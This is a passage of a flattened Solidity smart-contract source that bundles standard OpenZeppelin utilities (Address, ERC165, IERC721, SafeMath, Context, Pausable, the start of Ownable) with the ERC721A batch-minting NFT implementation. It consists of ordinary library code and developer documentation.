https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/utils/math/SafeMath.sol // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: erc721a/contracts/ERC721A.sol // Creator: Chiru Labs pragma solidity ^0.8.4; error ApprovalCallerNotOwnerNorApproved(); error ApprovalQueryForNonexistentToken(); error ApproveToCaller(); error ApprovalToCurrentOwner(); error BalanceQueryForZeroAddress(); error MintToZeroAddress(); error MintZeroQuantity(); error OwnerQueryForNonexistentToken(); error TransferCallerNotOwnerNorApproved(); error TransferFromIncorrectOwner(); error TransferToNonERC721ReceiverImplementer(); error TransferToZeroAddress(); error URIQueryForNonexistentToken(); /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..). * * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply. * * Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Compiler will pack this into a single 256bit word. struct TokenOwnership { // The address of the owner. address addr; // Keeps track of the start time of ownership with minimal overhead for tokenomics. uint64 startTimestamp; // Whether the token has been burned. bool burned; } // Compiler will pack this into a single 256bit word. struct AddressData { // Realistically, 2**64-1 is more than enough. uint64 balance; // Keeps track of mint count with minimal overhead for tokenomics. uint64 numberMinted; // Keeps track of burn count with minimal overhead for tokenomics. uint64 numberBurned; // For miscellaneous variable(s) pertaining to the address // (e.g. number of whitelist mint slots used). // If there are multiple variables, please pack them into a uint64. uint64 aux; } // The tokenId of the next token to be minted. uint256 internal _currentIndex; // The number of tokens burned. uint256 internal _burnCounter; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _currentIndex = _startTokenId(); } /** * To change the starting tokenId, please override this function. */ function _startTokenId() internal view virtual returns (uint256) { return 0; } /** * @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens. */ function totalSupply() public view returns (uint256) { // Counter underflow is impossible as _burnCounter cannot be incremented // more than _currentIndex - _startTokenId() times unchecked { return _currentIndex - _burnCounter - _startTokenId(); } } /** * Returns the total amount of tokens minted in the contract. */ function _totalMinted() internal view returns (uint256) { // Counter underflow is impossible as _currentIndex does not decrement, // and it is initialized to _startTokenId() unchecked { return _currentIndex - _startTokenId(); } } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { if (owner == address(0)) revert BalanceQueryForZeroAddress(); return uint256(_addressData[owner].balance); } /** * Returns the number of tokens minted by `owner`. */ function _numberMinted(address owner) internal view returns (uint256) { return uint256(_addressData[owner].numberMinted); } /** * Returns the number of tokens burned by or on behalf of `owner`. */ function _numberBurned(address owner) internal view returns (uint256) { return uint256(_addressData[owner].numberBurned); } /** * Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used). */ function _getAux(address owner) internal view returns (uint64) { return _addressData[owner].aux; } /** * Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used). * If there are multiple variables, please pack them into a uint64. */ function _setAux(address owner, uint64 aux) internal { _addressData[owner].aux = aux; } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (_startTokenId() <= curr && curr < _currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (!ownership.burned) { if (ownership.addr != address(0)) { return ownership; } // Invariant: // There will always be an ownership that has an address and is not burned // before an ownership that does not have an address and is not burned. // Hence, curr will not underflow. while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } } revert OwnerQueryForNonexistentToken(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return _ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ''; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); if (to == owner) revert ApprovalToCurrentOwner(); if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) { revert ApprovalCallerNotOwnerNorApproved(); } _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken(); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { if (operator == _msgSender()) revert ApproveToCaller(); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ''); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { _transfer(from, to, tokenId); if (to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return _startTokenId() <= tokenId && tokenId < _currentIndex && !_ownerships[tokenId].burned; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ''); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { _mint(to, quantity, _data, true); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1 // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; if (safe && to.isContract()) { do { emit Transfer(address(0), to, updatedIndex); if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } while (updatedIndex != end); // Reentrancy protection if (_currentIndex != startTokenId) revert(); } else { do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex != end); } _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); if (prevOwnership.addr != from) revert TransferFromIncorrectOwner(); bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); if (to == address(0)) revert TransferToZeroAddress(); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, from); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = to; currSlot.startTimestamp = uint64(block.timestamp); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev This is equivalent to _burn(tokenId, false) */ function _burn(uint256 tokenId) internal virtual { _burn(tokenId, false); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId, bool approvalCheck) internal virtual { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); address from = prevOwnership.addr; if (approvalCheck) { bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); } _beforeTokenTransfers(from, address(0), tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, from); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { AddressData storage addressData = _addressData[from]; addressData.balance -= 1; addressData.numberBurned += 1; // Keep track of who burned the token, and the timestamp of burning. TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = from; currSlot.startTimestamp = uint64(block.timestamp); currSlot.burned = true; // If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, address(0), tokenId); _afterTokenTransfers(from, address(0), tokenId, 1); // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times. unchecked { _burnCounter++; } } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkContractOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert TransferToNonERC721ReceiverImplementer(); } else { assembly { revert(add(32, reason), mload(reason)) } } } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * And also called before burning one token. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * And also called after one token has been burned. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been * transferred to `to`. * - When `from` is zero, `tokenId` has been minted for `to`. * - When `to` is zero, `tokenId` has been burned by `from`. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // File: @openzeppelin/contracts/security/Pausable.sol // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return 